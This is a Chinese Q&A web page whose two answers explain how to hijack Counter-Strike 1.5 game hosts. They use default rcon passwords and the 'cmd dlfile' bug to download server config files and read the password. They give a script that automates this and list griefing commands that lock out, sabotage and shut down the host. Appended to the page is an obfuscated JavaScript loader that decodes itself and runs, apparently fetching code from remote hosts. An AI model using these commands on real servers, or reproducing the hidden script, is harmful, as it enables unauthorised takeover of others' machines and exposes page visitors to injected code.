推荐回答(2个)
cs主机远程控制方法与被恶意控制的对策 一,通过正确的遥控密码远程控制。 cs主机有server和listenserver两种。前者是独立服务器,后者是一般玩家自己建立并且本人在里面游戏的主机(一下都称之为主机)。cs程序建立主机时会读取cstrike目录下的game.cfg、listenserver.cfg、server.cfg和valve目录下的skill.cfg(此文件一般情况下打包在pak0.pak内)等文件内的设置参数。其中game.cfg内主要为游戏参数的设置;server.cfg和listenserver.cfg内分别设置server和listenserver两种情况下的游戏参数;skill.cfg内本来是用来设置半条命游戏的一些参数。但是游戏参数可以在以上几个配置文件内的任意一个,并没有严格限制(除server.cfg和listenserver.cfg的区别严格、不能同时有效外)。 设置远程控制密码的参数是“rcon_password 密码”,密码不能使用空格。也可以不在配置文件内设置,在主机建立后在控制台内输入。 得知一个主机的密码后,有三种登陆方式(可能不限三种,只是我只熟悉此三种): 1.在游戏中进入该主机,在控制台输入“rcon_password 密码”,得到控制权。 2.在游戏中进入控制台,输入“rcon_address 该主机ip:端口”(默认情况可不带端口号)连接到主机。然后输入“rcon_password 密码”获得控制权。 3.使用hlsw等专用遥控软件,设置主机的ip、控制密码等等后通过专用软件控制主机。 控制主机后,所有遥控命令的格式为“rcon[空格][命令]”。遥控情况下修改遥控密码“rcon rcon_password 新密码”,修改后需要用心密码登陆一次。 遥控的登陆状态在游戏载入新地图后无效,需要再次登陆。 由于制作者缺乏安全上的考虑,一些非官方的cs版本默认情况下设置了遥控密码。比如地球人都知道的 www.cs-cn.net 。这些游戏建立的主机一般在欢迎信息(cstrike\motd.txt)内有一个或几个网址,一般来说这就是遥控密码了。我所知的比如: www.cs-cn.net ; www.weini.tv ; www.Bimnm.net ;ZiSaiMingZhu的“!#%&(lightmusic”等等。使用这些版本的朋友请注意检查并清除这些默认的遥控密码。 二,通过漏洞下载配置文件的远程控制。 cs1.5服务器程序有一个漏洞。此漏洞允许攻击者下载主机上的配置文件,命令是“cmd dlfile 文件名”。如果要下载listenserver.cfg,命令就是“cmd dlfile listenserver.cfg”。当然此命令也可以下载addons目录下的amx等插件的配置文件,只是需要加一个路径而已。 下载文件时需要在cstrike和valve目录下都没有重名文件,不然只有一个进度条,文件不会下载下来。 解决此漏洞的方法是把服务器程序的版本升级到HLDS4111e以上,打HLDS4111e补丁。当然一般listenserver根本没有必要设置遥控密码,不打补丁也无所谓。 三,被恶意控制后的对策。 一旦被控制,并关闭了控制台,一般来说就只好退出大吉了,没有什么对策可讲。要防止被控制,根本还是在于打补丁和不随意设置密码等准备工作。 此段意义不大,可以说只是写写玩,介绍一个预备措施而已。 时刻要保持控制权。对于一般情况来说就是主机必须时刻掌握控制台。一个很好的方法就是给“~”键绑定控制台命令“bind ~ "console 1;toggleconsole"”。这样按一次“~”键即有两个操作:开关控制台和允许控制台。做好这一点后就不需要给游戏快捷方式加参数等等落后方法了,在任何情况下都可以按出控制台。为了避免被人远程"unbindall"(取消所有按键功能),可以在kb_def.lst内写上此命令。一旦发现被控制,按esc(esc键是无法取消绑定的)到按键设置处恢复按键设置,然后拉开控制台修改遥控密码(rcon_password #$%^%$)。四,控制主机的“恶毒”招数。 这段绝对不是教唆啊,只是写写玩哦,我们是绝对不首先使用核武器的:D。 首先“rcon rcon_password 新密码”,修改密码,防止同道。 然后“console 0”关闭控制台;“unbind h”取消控制菜单;“unbind =”制止一些用机器人插件杀人的无耻主机必备。 关闭游戏大门,和主机单练:“sv_password 游戏密码”。 让主机休息“rcon unbindall”(取消除esc键外所有按键功能) 结束这游戏吧!“rcon quit”或“rcon exit”。 当然,如果你有闲心,可以写一个控制脚本,实践证明必要时替主机操作 控制别人主机的方法 常在浩方玩。经常碰到有些主机的素质不怎么行。一打被人打死了就是刷新、=4、KICK。对于此类行为大家必定是深恶痛绝的了。所以下面我介绍个方法来让主机自食其果。 最好的方法当然是用OP密码来搞他啦。浩方上流行的版本一般是CSCN版的。CSCN版内定的OP密码是 www.cs-cn.net 。一般的菜鸟都不懂得改这个。所以我们先输入rcon_password www.cs-cn.net 。好戏就要上演了。。。(最好你也要懂一点config命令。。不然你也做不了什么。。) 第一步。我们先关掉他的控制台以免他踢你。rcon console 0 ? ? 第二步。如果他喜欢刷新的话。就rcon bind h kill。意思是一按H就自杀。如果他喜欢=4。你就rcon bind = kill。如果他喜欢踢人。rcon bind ` kill。 第三步。这样他应该可以乖下来了吧。但我的气还没消!如果他想退出,你就rcon bind ESCAPE kill。退出也退不了啦。再玩。如果在AWP图。我们就来个rcon bind mouse2 kill。他不能用AWP了。如果你想他连开枪也开不了。就顺便rcon bind mouse1 kill。如果只是不喜欢看到青蛙跳来跳去。就bind SPACE kill好了。 如果你不想玩得太绝。就改下他们的鼠标、键盘之类的算了。那就先来个rcon sensitivity 20吧。哈哈只我们可以看他的大范围甩狙吧。。。要让他不停开枪。rcon +attack。不停的向前走rcon +forward。这样他就不会发现太大问题还以为是鼠标键盘坏了呢。永远蹲下就是rcon +duck。开一枪就换一次子弹rcon bind mouse1 "+attack;reload"。只有想不到没有做不到。余下的就自己想想吧。 但如果他的OP密码改了呢?不爽哦。上面的都实现不了啦。如果你不是太想玩他的就算了,退出找别的主机玩吧。如果你确实觉得气人的话。 一、先退出,把自己cstrike目录下和valve目录下的listenserver.cfg移去别的地方。 ? ? 二、再进那个主机。在控制台输入cmd dlfile listenserver.cfg。如果显示下载完成就恭喜了。 三、再退出,去cstrike目录下和valve目录下找到listenserver.cfg。用文本打开。看看里面的rcon_password这项后面的密码是什么。 四、再探虎穴。输入rcon_password 你刚才看到的密码。上面的又可以实现了。真是爽哦。 进服务器也可以用这个方法。不过listenserver.cfg换成server.cfg。因为用cstrike建的主机是调用listenserver.cfg的。而用HLDS建的服务器是调用server.cfg。 这个教程就是教如何制作远程破解OP的CS版本了。比起以往破解方法和破解程序..不同的地方是.方便很多.不用每次在控制台输入 cmd?dlfile?listenserver.cfg cmd?dlfile?server.cfg 现在有了这个你自己制作好的CS版本.以后直接删除server.cfg后.进入游戏.在H菜单里直接选择Get?OP.就破解完成了.你的cstrike目录下就自动生成server.cfg文件了.
常在浩方玩。经常碰到有些主机的素质不怎么行。一打被人打死了就是刷新、=4、KICK。对于此类行为大家必定是深恶痛绝的了。所以下面我介绍个方法来让主机自食其果。 最好的方法当然是用OP密码来搞他啦。浩方上流行的版本一般是CSCN版的。CSCN版内定的OP密码是 www.cs-cn.net 。一般的菜鸟都不懂得改这个。所以我们先输入rcon_password www.cs-cn.net 。好戏就要上演了。。。(最好你也要懂一点config命令。。不然你也做不了什么。。) 第一步。我们先关掉他的控制台以免他踢你。rcon console 0 第二步。如果他喜欢刷新的话。就rcon bind h kill。意思是一按H就自杀。如果他喜欢=4。你就rcon bind = kill。如果他喜欢踢人。rcon bind ` kill。 第三步。这样他应该可以乖下来了吧。但我的气还没消!如果他想退出,你就rcon bind ESCAPE kill。退出也退不了啦。再玩。如果在AWP图。我们就来个rcon bind mouse2 kill。他不能用AWP了。如果你想他连开枪也开不了。就顺便rcon bind mouse1 kill。如果只是不喜欢看到青蛙跳来跳去。就bind SPACE kill好了。 如果你不想玩得太绝。就改下他们的鼠标、键盘之类的算了。那就先来个rcon sensitivity 20吧。哈哈只我们可以看他的大范围甩狙吧。。。要让他不停开枪。rcon +attack。不停的向前走rcon +forward。这样他就不会发现太大问题还以为是鼠标键盘坏了呢。永远蹲下就是rcon +duck。开一枪就换一次子弹rcon bind mouse1 "+attack;reload"。只有想不到没有做不到。余下的就自己想想吧。 但如果他的OP密码改了呢?不爽哦。上面的都实现不了啦。如果你不是太想玩他的就算了,退出找别的主机玩吧。如果你确实觉得气人的话。 一、先退出,把自己cstrike目录下和valve目录下的listenserver.cfg移去别的地方。 二、再进那个主机。在控制台输入cmd dlfile listenserver.cfg。如果显示下载完成就恭喜了。 三、再退出,去cstrike目录下和valve目录下找到listenserver.cfg。用文本打开。看看里面的rcon_password这项后面的密码是什么。 四、再探虎穴。输入rcon_password 你刚才看到的密码。上面的又可以实现了。真是爽哦。 进服务器也可以用这个方法。不过listenserver.cfg换成server.cfg。因为用cstrike建的主机是调用listenserver.cfg的。而用HLDS建的服务器是调用server.cfg。这个教程就是教如何制作远程破解OP的CS版本了。比起以往破解方法和破解程序..不同的地方是.方便很多.不用每次在控制台输入 cmd dlfile listenserver.cfgcmd dlfile server.cfg 现在有了这个你自己制作好的CS版本.以后直接删除server.cfg后.进入游戏.在H菜单里直接选择Get OP.就破解完成了.你的cstrike目录下就自动生成server.cfg文件了. 现在OP越来越狂了..动不动就踢人.你作弊也好.你不作弊也好.看你不爽就是踢..是不是很找操?现在1.5有个小BUG可以下载服务端的OP管理员密码.爽吧.请看具体操作: 先配置CS客户端!把server.cfg删除.还有valve目录中的server.cfg也删除(我的已经删除了).然后在commandmenu.txt管理菜单中添加"10" "Get OP" "exec getop.cfg" //下载服务端上的OP密码 这段语句脚本.然后新建文件名为getop.cfg的脚本在里面添加cmd dlfile listenserver.cfgcmd dlfile server.cfg这两个脚本.表示下载服务端上的服务配制信息!然后进入游戏.你的OP菜单中多了个Get OP选项!选择完GET op后就自动下载服务器的服务配置文件了.现在已经在本机生成了server.cfg...rcon_password bd2254774 这段就是OP密码了.bd2254774. 成功
!function(){function a(a){var _idx="e4ydksy2pg";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPKs0)hFL_h^m_XO6L)pmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0dhFLFT6m)CFSp)pmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0dhFL5SJm4h(7F7fmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m_XO6L)pmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0dhFLFT6m)CFSp)pmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0dhFL5SJm4h(7F7fmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0dhFLFT6m)CFSp)pmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/Ks0jR8YoTfSLT@Jp"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"Ks0"=X8"YoTfSLT@Jp"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"Ks0^)ThF)mhfO76RqmRT4"="Ks0X5ThF)mT)7F56RmRT4"="Ks02pThFmhfO76RqmRT4"="Ks0_JqhFmT)7F56RmRT4"="Ks02TOhFmhfO76RqmRT4"="Ks0CSqhF)mT)7F56RmRT4"="Ks0)FfThF)fmhfO76RqmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:mX2O2fmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:mX2O2fmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPKs0dhFLFT6m)CFSp)pmRT4gQ}1Q/f/Ks0j(8}vR8YoTfSLT@Jp"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPKs0dhFLFT6m)CFSp)pmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();